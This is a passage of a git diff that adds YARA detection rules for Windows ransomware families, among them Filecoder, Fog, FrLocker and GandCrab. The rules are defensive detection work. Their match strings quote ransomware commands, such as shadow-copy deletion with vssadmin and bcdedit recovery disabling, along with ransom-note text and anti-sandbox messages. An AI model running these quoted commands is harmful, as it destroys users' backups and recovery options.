6f 74 73 74 61 74 75 73 70 6f 6c 69 63 79 20 69 67 6e 6f 72 65 61 6c 6c 66 61 69 6c 75 72 65 73 22 } //2 cmd /c "bcdedit /set {default} bootstatuspolicy ignoreallfailures" + $a_01_2 = {63 6d 64 20 2f 63 20 22 74 61 73 6b 6b 69 6c 6c 20 2f 46 20 2f 49 4d } //1 cmd /c "taskkill /F /IM + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Ransom/Win32/Filecoder/Ransom_Win32_Filecoder_PAGR_MTB.yar b/Ransom/Win32/Filecoder/Ransom_Win32_Filecoder_PAGR_MTB.yar new file mode 100644 index 0000000000..332dbc5ac2 --- /dev/null +++ b/Ransom/Win32/Filecoder/Ransom_Win32_Filecoder_PAGR_MTB.yar @@ -0,0 +1,13 @@ + +rule Ransom_Win32_Filecoder_PAGR_MTB{ + meta: + description = "Ransom:Win32/Filecoder.PAGR!MTB,SIGNATURE_TYPE_PEHSTR,05 00 05 00 03 00 00 " + + strings : + $a_01_0 = {59 00 6f 00 75 00 20 00 61 00 72 00 65 00 20 00 68 00 69 00 74 00 20 00 77 00 69 00 74 00 68 00 20 00 61 00 20 00 76 00 69 00 72 00 75 00 73 00 2e 00 } //2 You are hit with a virus. + $a_01_1 = {59 00 6f 00 75 00 72 00 20 00 6b 00 65 00 79 00 20 00 66 00 69 00 6c 00 65 00 73 00 20 00 61 00 72 00 65 00 20 00 6c 00 6f 00 63 00 6b 00 65 00 64 00 2e 00 } //2 Your key files are locked. + $a_01_2 = {55 00 70 00 6f 00 6e 00 20 00 70 00 61 00 79 00 6d 00 65 00 6e 00 74 00 2c 00 20 00 79 00 6f 00 75 00 72 00 20 00 6b 00 65 00 79 00 20 00 77 00 69 00 6c 00 6c 00 20 00 62 00 65 00 20 00 64 00 69 00 73 00 70 00 61 00 74 00 63 00 68 00 65 00 64 00 20 00 74 00 6f 00 20 00 79 00 6f 00 75 00 20 00 61 00 74 00 } //1 Upon payment, your key will be dispatched to you at + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Ransom/Win32/Filecoder/Ransom_Win32_Filecoder_PAGS_MTB.yar b/Ransom/Win32/Filecoder/Ransom_Win32_Filecoder_PAGS_MTB.yar new file mode 100644 index 0000000000..73571e1bc1 --- /dev/null +++ b/Ransom/Win32/Filecoder/Ransom_Win32_Filecoder_PAGS_MTB.yar @@ -0,0 +1,12 @@ + +rule Ransom_Win32_Filecoder_PAGS_MTB{ + meta: + description = "Ransom:Win32/Filecoder.PAGS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_01_0 = {4c 4f 43 4b 49 46 59 20 52 31 20 52 41 4e 53 4f 4d 45 57 41 52 45 21 } //3 LOCKIFY R1 RANSOMEWARE! + $a_01_1 = {41 6c 6c 20 79 6f 75 72 20 70 65 72 73 6f 6e 61 6c 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 73 2c 20 64 61 74 61 73 2c 20 46 69 6c 65 73 2c 20 44 6f 63 75 6d 65 6e 74 73 2c 20 50 69 63 74 75 72 65 73 2c 20 4c 6f 67 69 6e 73 2c 20 56 69 64 65 6f 73 20 65 74 63 2e 2e 20 61 6c 6c 20 77 65 72 65 20 63 6f 6d 70 6c 65 74 65 6c 79 20 45 4e 43 52 59 50 54 45 44 } //2 All your personal informations, datas, Files, Documents, Pictures, Logins, Videos etc.. all were completely ENCRYPTED + condition: + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*2) >=5 + +} \ No newline at end of file diff --git a/Ransom/Win32/Filecoder/Ransom_Win32_Filecoder_PAGT_MTB.yar b/Ransom/Win32/Filecoder/Ransom_Win32_Filecoder_PAGT_MTB.yar new file mode 100644 index 0000000000..32072bfa37 --- /dev/null +++ b/Ransom/Win32/Filecoder/Ransom_Win32_Filecoder_PAGT_MTB.yar @@ -0,0 +1,13 @@ + +rule Ransom_Win32_Filecoder_PAGT_MTB{ + meta: + description = "Ransom:Win32/Filecoder.PAGT!MTB,SIGNATURE_TYPE_PEHSTR,07 00 07 00 03 00 00 " + + strings : + $a_01_0 = {2f 00 63 00 20 00 76 00 73 00 73 00 61 00 64 00 6d 00 69 00 6e 00 2e 00 65 00 78 00 65 00 20 00 64 00 65 00 6c 00 65 00 74 00 65 00 20 00 73 00 68 00 61 00 64 00 6f 00 77 00 73 00 20 00 2f 00 61 00 6c 00 6c 00 20 00 2f 00 71 00 75 00 69 00 65 00 74 00 } //3 /c vssadmin.exe delete shadows /all /quiet + $a_01_1 = {77 00 6f 00 72 00 74 00 68 00 20 00 6f 00 66 00 20 00 62 00 69 00 74 00 63 00 6f 00 69 00 6e 00 20 00 74 00 6f 00 20 00 77 00 61 00 6c 00 6c 00 65 00 74 00 3a 00 } //2 worth of bitcoin to wallet: + $a_01_2 = {41 00 44 00 44 00 20 00 48 00 4b 00 4c 00 4d 00 5c 00 53 00 4f 00 46 00 54 00 57 00 41 00 52 00 45 00 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 43 00 75 00 72 00 72 00 65 00 6e 00 74 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 5c 00 50 00 6f 00 6c 00 69 00 63 00 69 00 65 00 73 00 5c 00 53 00 79 00 73 00 74 00 65 00 6d 00 20 00 2f 00 76 00 20 00 45 00 6e 00 61 00 62 00 6c 00 65 00 4c 00 55 00 41 00 20 00 2f 00 74 00 20 00 52 00 45 00 47 00 5f 00 44 00 57 00 4f 00 52 00 44 00 20 00 2f 00 64 00 20 00 31 00 20 00 2f 00 66 00 } //2 ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 1 /f + condition: + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*2+(#a_01_2 & 1)*2) >=7 + +} \ No newline at end of file diff --git a/Ransom/Win32/Filecoder/Ransom_Win32_Filecoder_PAGV_MTB.yar b/Ransom/Win32/Filecoder/Ransom_Win32_Filecoder_PAGV_MTB.yar new file mode 100644 index 0000000000..40086b8901 --- /dev/null +++ b/Ransom/Win32/Filecoder/Ransom_Win32_Filecoder_PAGV_MTB.yar @@ -0,0 +1,12 @@ + +rule Ransom_Win32_Filecoder_PAGV_MTB{ + meta: + description = "Ransom:Win32/Filecoder.PAGV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {c7 00 5c 72 65 63 c7 40 04 6f 76 65 72 c7 40 06 65 72 79 2e c7 40 0a 65 78 65 00 c7 44 24 08 00 00 00 00 8d 85 f0 fd ff ff 89 44 24 04 8d 85 f4 fe ff ff 89 04 24 a1 } //2 + $a_01_1 = {8b 45 f4 ba 00 00 00 00 f7 75 f0 89 d0 8b 44 85 b4 31 c1 8b 45 14 8b 55 f4 81 c2 00 04 00 00 89 0c 90 83 45 f4 } //1 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Ransom/Win32/Filecoder/Ransom_Win32_Filecoder_PAGW_MTB.yar b/Ransom/Win32/Filecoder/Ransom_Win32_Filecoder_PAGW_MTB.yar new file mode 100644 index 0000000000..69f7f2d824 --- /dev/null +++ b/Ransom/Win32/Filecoder/Ransom_Win32_Filecoder_PAGW_MTB.yar @@ -0,0 +1,26 @@ + +rule Ransom_Win32_Filecoder_PAGW_MTB{ + meta: + description = "Ransom:Win32/Filecoder.PAGW!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 01 00 00 " + + strings : + $a_03_0 = {0f b6 54 04 ?? 31 d1 88 4c 04 ?? 40 83 f8 ?? 7d 09 0f b6 4c 04 ?? 72 e8 } //4 + condition: + ((#a_03_0 & 1)*4) >=4 + +} +rule Ransom_Win32_Filecoder_PAGW_MTB_2{ + meta: + description = "Ransom:Win32/Filecoder.PAGW!MTB,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 06 00 00 " + + strings : + $a_01_0 = {44 65 73 6b 74 6f 70 20 77 61 6c 6c 70 61 70 65 72 20 63 68 61 6e 67 65 64 20 73 75 63 63 65 73 73 66 75 6c 6c 79 2e } //2 Desktop wallpaper changed successfully. + $a_01_1 = {46 61 69 6c 65 64 20 74 6f 20 63 72 65 61 74 65 20 66 6c 61 73 68 20 77 69 6e 64 6f 77 2e 20 45 72 72 6f 72 20 63 6f 64 65 3a } //1 Failed to create flash window. Error code: + $a_01_2 = {53 63 72 65 65 6e 20 66 6c 61 73 68 20 63 6f 6d 70 6c 65 74 65 2e } //1 Screen flash complete. + $a_01_3 = {53 4f 46 54 57 41 52 45 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 52 75 6e } //1 SOFTWARE\Microsoft\Windows\CurrentVersion\Run + $a_01_4 = {46 61 69 6c 65 64 20 74 6f 20 73 65 74 20 61 75 74 6f 73 74 61 72 74 20 72 65 67 69 73 74 72 79 20 76 61 6c 75 65 2e 20 45 72 72 6f 72 20 63 6f 64 65 3a } //2 Failed to set autostart registry value. Error code: + $a_01_5 = {25 73 2e 65 6e 63 } //2 %s.enc + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*2+(#a_01_5 & 1)*2) >=9 + +} \ No newline at end of file diff --git a/Ransom/Win32/Filecoder/Ransom_Win32_Filecoder_PAGX_MTB.yar b/Ransom/Win32/Filecoder/Ransom_Win32_Filecoder_PAGX_MTB.yar new file mode 100644 index 0000000000..05d856dcd1 --- /dev/null +++ b/Ransom/Win32/Filecoder/Ransom_Win32_Filecoder_PAGX_MTB.yar @@ -0,0 +1,15 @@ + +rule Ransom_Win32_Filecoder_PAGX_MTB{ + meta: + description = "Ransom:Win32/Filecoder.PAGX!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 05 00 00 " + + strings : + $a_01_0 = {64 32 31 70 59 79 42 54 53 45 46 45 54 31 64 44 54 31 42 5a 49 45 52 46 54 45 56 55 52 54 73 4b 64 6e 4e 7a 59 57 52 74 61 57 34 67 52 47 56 73 5a 58 52 6c 49 46 4e 6f 59 57 52 76 64 33 4d 67 4c } //2 d21pYyBTSEFET1dDT1BZIERFTEVURTsKdnNzYWRtaW4gRGVsZXRlIFNoYWRvd3MgL + $a_01_1 = {53 47 56 73 62 47 38 73 49 41 70 35 62 33 56 79 49 47 5a 70 62 47 56 7a 49 47 68 68 64 6d 55 67 59 6d 56 6c 62 69 42 6c 62 6d 4e 79 65 58 42 30 5a 57 51 68 49 46 52 76 49 48 4a 6c 64 48 56 79 62 } //2 SGVsbG8sIAp5b3VyIGZpbGVzIGhhdmUgYmVlbiBlbmNyeXB0ZWQhIFRvIHJldHVyb + $a_01_2 = {49 47 4e 68 62 47 77 67 64 47 56 79 62 57 6c 75 59 58 52 6c 4f 77 70 69 59 32 52 6c 5a 47 6c 30 49 43 39 7a 5a 58 51 67 65 32 52 6c 5a 6d 46 31 62 48 52 39 49 48 4a 6c 59 32 39 32 5a 58 4a 35 5a } //1 IGNhbGwgdGVybWluYXRlOwpiY2RlZGl0IC9zZXQge2RlZmF1bHR9IHJlY292ZXJ5Z + $a_01_3 = {57 35 68 59 6d 78 6c 5a 43 42 4f 62 7a 73 4b 59 6d 4e 6b 5a 57 52 70 64 43 41 76 63 32 56 30 49 48 74 6b 5a 57 5a 68 64 57 78 30 66 53 42 69 62 32 39 30 63 33 52 68 64 48 56 7a 63 47 39 73 61 57 } //1 W5hYmxlZCBObzsKYmNkZWRpdCAvc2V0IHtkZWZhdWx0fSBib290c3RhdHVzcG9saW + $a_01_4 = {4e 35 49 47 6c 6e 62 6d 39 79 5a 57 46 73 62 47 5a 68 61 57 78 31 63 6d 56 7a 4f 77 3d 3d } //1 N5IGlnbm9yZWFsbGZhaWx1cmVzOw== + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Ransom/Win32/Filecoder/Ransom_Win32_Filecoder_PAHH_MTB.yar b/Ransom/Win32/Filecoder/Ransom_Win32_Filecoder_PAHH_MTB.yar new file mode 100644 index 0000000000..b789858a32 --- /dev/null +++ b/Ransom/Win32/Filecoder/Ransom_Win32_Filecoder_PAHH_MTB.yar @@ -0,0 +1,13 @@ + +rule Ransom_Win32_Filecoder_PAHH_MTB{ + meta: + description = "Ransom:Win32/Filecoder.PAHH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 03 00 00 " + + strings : + $a_01_0 = {53 47 56 73 62 47 38 73 49 47 46 73 62 43 42 35 62 33 56 79 49 47 5a 70 62 47 56 7a 49 47 68 68 64 6d 55 67 59 6d 56 6c 62 69 42 76 64 6d 56 79 64 33 4a 70 64 48 52 6c 62 69 34 67 55 32 56 75 5a 43 41 78 4d 44 41 6b 49 48 52 76 49 48 52 6f 61 58 4d 67 59 6e 52 6a 49 47 46 6b 5a 48 4a 6c 63 33 4d 67 4d 55 4e 4c 4f 45 4e 54 57 55 31 4e 62 56 4d 33 4f 55 64 58 4f 48 4a 74 4e 6e 64 51 55 56 4a 5a 63 7a 64 6c 53 47 68 53 64 6c 70 49 4e 43 42 30 62 79 42 79 5a 57 4e 76 64 6d 56 79 49 47 6c 30 4c 67 3d 3d } //5 SGVsbG8sIGFsbCB5b3VyIGZpbGVzIGhhdmUgYmVlbiBvdmVyd3JpdHRlbi4gU2VuZCAxMDAkIHRvIHRoaXMgYnRjIGFkZHJlc3MgMUNLOENTWU1NbVM3OUdXOHJtNndQUVJZczdlSGhSdlpINCB0byByZWNvdmVyIGl0Lg== + $a_01_1 = {5c 44 65 73 6b 74 6f 70 5c 72 65 61 64 6d 65 2e 74 78 74 } //1 \Desktop\readme.txt + $a_01_2 = {55 53 45 52 50 52 4f 46 49 4c 45 } //1 USERPROFILE + condition: + ((#a_01_0 & 1)*5+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Ransom/Win32/Filecoder/Ransom_Win32_Filecoder_PAHK_MTB.yar b/Ransom/Win32/Filecoder/Ransom_Win32_Filecoder_PAHK_MTB.yar new file mode 100644 index 0000000000..116d534450 --- /dev/null +++ b/Ransom/Win32/Filecoder/Ransom_Win32_Filecoder_PAHK_MTB.yar @@ -0,0 +1,16 @@ + +rule Ransom_Win32_Filecoder_PAHK_MTB{ + meta: + description = "Ransom:Win32/Filecoder.PAHK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 06 00 00 " + + strings : + $a_01_0 = {53 00 41 00 4e 00 44 00 42 00 4f 00 58 00 5f 00 4d 00 4f 00 44 00 45 00 } //1 SANDBOX_MODE + $a_01_1 = {72 00 65 00 61 00 64 00 5f 00 69 00 74 00 2e 00 74 00 78 00 74 00 } //2 read_it.txt + $a_01_2 = {59 00 6f 00 75 00 72 00 20 00 66 00 69 00 6c 00 65 00 73 00 20 00 68 00 61 00 76 00 65 00 20 00 62 00 65 00 65 00 6e 00 20 00 65 00 6e 00 63 00 72 00 79 00 70 00 74 00 65 00 64 00 } //1 Your files have been encrypted + $a_01_3 = {4c 00 6f 00 63 00 61 00 6c 00 5c 00 43 00 48 00 41 00 4f 00 53 00 5f 00 52 00 55 00 4e 00 4e 00 49 00 4e 00 47 00 } //2 Local\CHAOS_RUNNING + $a_01_4 = {4d 00 41 00 4c 00 57 00 41 00 52 00 45 00 } //2 MALWARE + $a_01_5 = {76 00 69 00 72 00 75 00 73 00 } //1 virus + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*2+(#a_01_2 & 1)*1+(#a_01_3 & 1)*2+(#a_01_4 & 1)*2+(#a_01_5 & 1)*1) >=9 + +} \ No newline at end of file diff --git a/Ransom/Win32/Filecoder/Ransom_Win32_Filecoder_PAQD_MTB.yar b/Ransom/Win32/Filecoder/Ransom_Win32_Filecoder_PAQD_MTB.yar new file mode 100644 index 0000000000..387289aabe --- /dev/null +++ b/Ransom/Win32/Filecoder/Ransom_Win32_Filecoder_PAQD_MTB.yar @@ -0,0 +1,12 @@ + +rule Ransom_Win32_Filecoder_PAQD_MTB{ + meta: + description = "Ransom:Win32/Filecoder.PAQD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_03_0 = {8b 45 f4 c1 e0 08 89 c2 8b 45 f0 01 d0 8b 14 85 ?? ?? ?? ?? 8b 45 14 8b 4d f4 89 cb c1 e3 08 8b 4d f0 01 d9 89 14 88 83 45 f0 01 81 7d f0 ff } //3 + $a_01_1 = {8b 45 f4 ba 00 00 00 00 f7 75 f0 89 d0 8b 44 85 b4 31 c1 8b 45 14 8b 55 f4 81 c2 00 04 00 00 89 0c 90 83 45 f4 01 83 7d f4 11 } //2 + condition: + ((#a_03_0 & 1)*3+(#a_01_1 & 1)*2) >=5 + +} \ No newline at end of file diff --git a/Ransom/Win32/Filecoder/Ransom_Win32_Filecoder_QL_MTB.yar b/Ransom/Win32/Filecoder/Ransom_Win32_Filecoder_QL_MTB.yar new file mode 100644 index 0000000000..0f85f426f7 --- /dev/null +++ b/Ransom/Win32/Filecoder/Ransom_Win32_Filecoder_QL_MTB.yar @@ -0,0 +1,14 @@ + +rule Ransom_Win32_Filecoder_QL_MTB{ + meta: + description = "Ransom:Win32/Filecoder.QL!MTB,SIGNATURE_TYPE_PEHSTR,08 00 08 00 04 00 00 " + + strings : + $a_01_0 = {43 3a 5c 6e 6f 64 65 63 72 79 70 74 6f 72 2e 74 78 74 } //2 C:\nodecryptor.txt + $a_01_1 = {41 6c 6c 20 79 6f 75 72 20 69 6d 70 6f 72 74 61 6e 74 20 66 69 6c 65 73 20 68 61 76 65 20 62 65 65 6e 20 65 6e 63 72 79 70 74 65 64 21 20 59 6f 75 72 20 64 61 74 61 20 69 73 20 6c 6f 63 6b 65 64 2e } //2 All your important files have been encrypted! Your data is locked. + $a_01_2 = {59 4f 55 20 43 41 4e 20 4e 4f 54 20 52 45 43 4f 56 45 52 20 59 4f 55 52 20 46 49 4c 45 53 } //2 YOU CAN NOT RECOVER YOUR FILES + $a_01_3 = {49 4e 46 45 43 54 45 44 20 42 59 20 4e 4f 44 45 43 52 59 50 54 } //2 INFECTED BY NODECRYPT + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*2+(#a_01_3 & 1)*2) >=8 + +} \ No newline at end of file diff --git a/Ransom/Win32/Fog/Ransom_Win32_Fog_BA_MTB.yar b/Ransom/Win32/Fog/Ransom_Win32_Fog_BA_MTB.yar new file mode 100644 index 0000000000..9bf50048e1 --- /dev/null +++ b/Ransom/Win32/Fog/Ransom_Win32_Fog_BA_MTB.yar @@ -0,0 +1,17 @@ + +rule Ransom_Win32_Fog_BA_MTB{ + meta: + description = "Ransom:Win32/Fog.BA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 00 " + + strings : + $a_01_0 = {49 50 76 36 20 53 68 65 6c 6c 63 6f 64 65 20 50 61 72 73 69 6e 67 20 46 61 69 6c 65 64 } //1 IPv6 Shellcode Parsing Failed + $a_01_1 = {4f 42 53 49 44 49 41 4e 4d 49 52 52 4f 52 20 2d 20 50 53 59 4f 50 53 2f 50 53 59 57 41 52 } //1 OBSIDIANMIRROR - PSYOPS/PSYWAR + $a_01_2 = {52 41 4e 53 4f 4d 4e 4f 54 45 2e 74 78 74 } //1 RANSOMNOTE.txt + $a_01_3 = {45 78 65 63 75 74 65 64 20 61 6e 74 69 2d 64 65 62 75 67 2d 74 68 72 65 61 64 } //1 Executed anti-debug-thread + $a_01_4 = {53 61 6e 64 62 6f 78 20 64 65 74 65 63 74 65 64 21 20 45 78 69 74 69 6e 67 20 70 72 6f 63 65 73 73 } //1 Sandbox detected! Exiting process + $a_01_5 = {44 65 62 75 67 67 65 72 20 64 65 74 65 63 74 65 64 21 20 45 78 69 74 69 6e 67 } //1 Debugger detected! Exiting + $a_01_6 = {46 61 69 6c 65 64 20 74 6f 20 63 72 65 61 74 65 20 73 65 6e 73 69 74 69 76 65 20 63 68 65 63 6b 20 74 68 72 65 61 64 } //1 Failed to create sensitive check thread + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Ransom/Win32/Fog/Ransom_Win32_Fog_SA.yar b/Ransom/Win32/Fog/Ransom_Win32_Fog_SA.yar index b1706a7dd0..be6b247e2c 100644 --- a/Ransom/Win32/Fog/Ransom_Win32_Fog_SA.yar +++ b/Ransom/Win32/Fog/Ransom_Win32_Fog_SA.yar @@ -1,14 +1,16 @@ rule Ransom_Win32_Fog_SA{ meta: - description = "Ransom:Win32/Fog.SA,SIGNATURE_TYPE_CMDHSTR_EXT,28 00 28 00 04 00 00 " + description = "Ransom:Win32/Fog.SA,SIGNATURE_TYPE_CMDHSTR_EXT,28 00 28 00 06 00 00 " strings : $a_00_0 = {2d 00 6e 00 6f 00 6d 00 75 00 74 00 65 00 78 00 } //10 -nomutex $a_00_1 = {2d 00 73 00 69 00 7a 00 65 00 } //10 -size $a_00_2 = {2d 00 74 00 61 00 72 00 67 00 65 00 74 00 } //10 -target $a_00_3 = {5c 00 63 00 24 00 } //10 \c$ + $a_00_4 = {6d 00 73 00 65 00 64 00 67 00 65 00 77 00 65 00 62 00 76 00 69 00 65 00 77 00 32 00 2e 00 65 00 78 00 65 00 } //-1000 msedgewebview2.exe + $a_00_5 = {69 00 66 00 20 00 66 00 61 00 6c 00 73 00 65 00 20 00 3d 00 3d 00 20 00 66 00 61 00 6c 00 73 00 65 00 20 00 65 00 63 00 68 00 6f 00 } //-1000 if false == false echo condition: - ((#a_00_0 & 1)*10+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*10) >=40 + ((#a_00_0 & 1)*10+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*10+(#a_00_4 & 1)*-1000+(#a_00_5 & 1)*-1000) >=40 } \ No newline at end of file diff --git a/Ransom/Win32/Fog/Ransom_Win32_Fog_WQ_MTB.yar b/Ransom/Win32/Fog/Ransom_Win32_Fog_WQ_MTB.yar new file mode 100644 index 0000000000..7e366b1216 --- /dev/null +++ b/Ransom/Win32/Fog/Ransom_Win32_Fog_WQ_MTB.yar @@ -0,0 +1,11 @@ + +rule Ransom_Win32_Fog_WQ_MTB{ + meta: + description = "Ransom:Win32/Fog.WQ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {33 d2 f7 75 14 8b 45 10 0f b6 14 10 23 fa 0b f7 0b ce 8b 85 68 ff ff ff 03 45 98 88 08 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Ransom/Win32/FrLocker/Ransom_Win32_FrLocker_YAC_MTB.yar b/Ransom/Win32/FrLocker/Ransom_Win32_FrLocker_YAC_MTB.yar new file mode 100644 index 0000000000..ac3768e460 --- /dev/null +++ b/Ransom/Win32/FrLocker/Ransom_Win32_FrLocker_YAC_MTB.yar @@ -0,0 +1,15 @@ + +rule Ransom_Win32_FrLocker_YAC_MTB{ + meta: + description = "Ransom:Win32/FrLocker.YAC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,18 00 18 00 05 00 00 " + + strings : + $a_01_0 = {56 4f 54 52 45 20 52 45 53 45 41 55 20 41 20 45 54 45 20 50 45 4e 45 54 52 45 } //1 VOTRE RESEAU A ETE PENETRE + $a_01_1 = {66 69 63 68 69 65 72 73 20 69 6d 70 6f 72 74 61 6e 74 73 20 6f 6e 74 20 65 74 65 20 43 52 59 50 54 45 53 } //1 fichiers importants ont ete CRYPTES + $a_01_2 = {50 45 52 4d 41 4e 45 4e 54 45 20 4c 45 53 20 46 49 43 48 49 45 52 53 20 45 54 } //1 PERMANENTE LES FICHIERS ET + $a_01_3 = {4d 4f 44 49 46 49 45 5a 20 50 41 53 20 4c 45 53 20 46 49 43 48 49 45 52 53 20 43 52 59 50 54 45 53 } //1 MODIFIEZ PAS LES FICHIERS CRYPTES + $a_01_4 = {42 67 49 41 41 41 43 6b 41 41 42 53 55 30 45 78 41 41 67 41 41 41 45 41 41 51 43 64 63 67 6f 39 35 64 4a 74 50 71 65 53 63 32 7a 6e 4c 65 43 38 4b 70 37 63 69 4d 35 44 4a 4d 54 4b } //20 BgIAAACkAABSU0ExAAgAAAEAAQCdcgo95dJtPqeSc2znLeC8Kp7ciM5DJMTK + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*20) >=24 + +} \ No newline at end of file diff --git a/Ransom/Win32/GOCoder/Ransom_Win32_GOCoder_DA_MTB.yar b/Ransom/Win32/GOCoder/Ransom_Win32_GOCoder_DA_MTB.yar new file mode 100644 index 0000000000..defd27e05f --- /dev/null +++ b/Ransom/Win32/GOCoder/Ransom_Win32_GOCoder_DA_MTB.yar @@ -0,0 +1,15 @@ + +rule Ransom_Win32_GOCoder_DA_MTB{ + meta: + description = "Ransom:Win32/GOCoder.DA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,ffffff8c 00 ffffff8c 00 05 00 00 " + + strings : + $a_81_0 = {47 6f 20 62 75 69 6c 64 20 49 44 3a 20 22 67 53 64 51 78 36 55 5f 6b 6b 50 45 53 32 39 35 63 45 73 4d } //100 Go build ID: "gSdQx6U_kkPES295cEsM + $a_81_1 = {47 6f 2f 73 72 63 2f 69 6e 74 65 72 6e 61 6c 2f 63 68 61 63 68 61 38 72 61 6e 64 2f 63 68 61 63 68 61 38 2e 67 6f } //10 Go/src/internal/chacha8rand/chacha8.go + $a_81_2 = {63 72 79 70 74 6f 2f 69 6e 74 65 72 6e 61 6c 2f 66 69 70 73 31 34 30 2f 61 65 73 2e 45 6e 63 72 79 70 74 69 6f 6e 4b 65 79 53 63 68 65 64 75 6c 65 } //10 crypto/internal/fips140/aes.EncryptionKeySchedule + $a_81_3 = {63 72 79 70 74 6f 2f 69 6e 74 65 72 6e 61 6c 2f 66 69 70 73 31 34 30 2f 61 65 73 2e 65 6e 63 72 79 70 74 42 6c 6f 63 6b 41 73 6d } //10 crypto/internal/fips140/aes.encryptBlockAsm + $a_81_4 = {5f 65 78 70 61 6e 64 5f 6b 65 79 5f } //10 _expand_key_ + condition: + ((#a_81_0 & 1)*100+(#a_81_1 & 1)*10+(#a_81_2 & 1)*10+(#a_81_3 & 1)*10+(#a_81_4 & 1)*10) >=140 + +} \ No newline at end of file diff --git a/Ransom/Win32/GandCrab/Ransom_Win32_GandCrab_AGN_MTB.yar b/Ransom/Win32/GandCrab/Ransom_Win32_GandCrab_AGN_MTB.yar new file mode 100644 index 0000000000..972e6758d3 --- /dev/null +++ b/Ransom/Win32/GandCrab/Ransom_Win32_GandCrab_AGN_MTB.yar @@ -0,0 +1,11 @@ + +rule Ransom_Win32_GandCrab_AGN_MTB{ + meta: + description = "Ransom:Win32/GandCrab.AGN!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {33 c9 83 f8 0b 0f 44 c1 0f b6 4c 85 d4 40 30 8a ?? ?? ?? ?? 33 c9 83 f8 0b 0f 44 c1 0f b6 4c 85 d4 40 30 8a ?? ?? ?? ?? 33 c9 83 f8 0b 0f 44 c1 0f b6 4c 85 d4 40 30 8a ?? ?? ?? ?? 33 c9 83 f8 0b 0f 44 c1 83 c2 04 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Ransom/Win32/GandCrab/Ransom_Win32_GandCrab_EAXY_MTB.yar b/Ransom/Win32/GandCrab/Ransom_Win32_GandCrab_EAXY_MTB.yar new file mode 100644 index 0000000000..45acc0d5e1 --- /dev/null +++ b/Ransom/Win32/GandCrab/Ransom_Win32_GandCrab_EAXY_MTB.yar @@ -0,0 +1,11 @@ + +rule Ransom_Win32_GandCrab_EAXY_MTB{ + meta: + description = "Ransom:Win32/GandCrab.EAXY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {8a 01 32 c2 02 c2 88 01 8d 49 01 4e } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Ransom/Win32/GandCrab/Ransom_Win32_Gandcrab_EN_MTB.yar b/Ransom/Win32/GandCrab/Ransom_Win32_Gandcrab_EN_MTB.yar new file mode 100644 index 0000000000..9cd8ba5bc5 --- /dev/null +++ b/Ransom/Win32/GandCrab/Ransom_Win32_Gandcrab_EN_MTB.yar @@ -0,0 +1,11 @@ + +rule Ransom_Win32_Gandcrab_EN_MTB{ + meta: + description = "Ransom:Win32/Gandcrab.EN!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 01 00 00 " + + strings : + $a_02_0 = {8d a4 24 00 00 00 00 90 90 0f b6 4c 85 d4 40 30 8a ?? ?? ?? ?? 33 c9 83 f8 0b 0f 44 c1 } //3 + condition: + ((#a_02_0 & 1)*3) 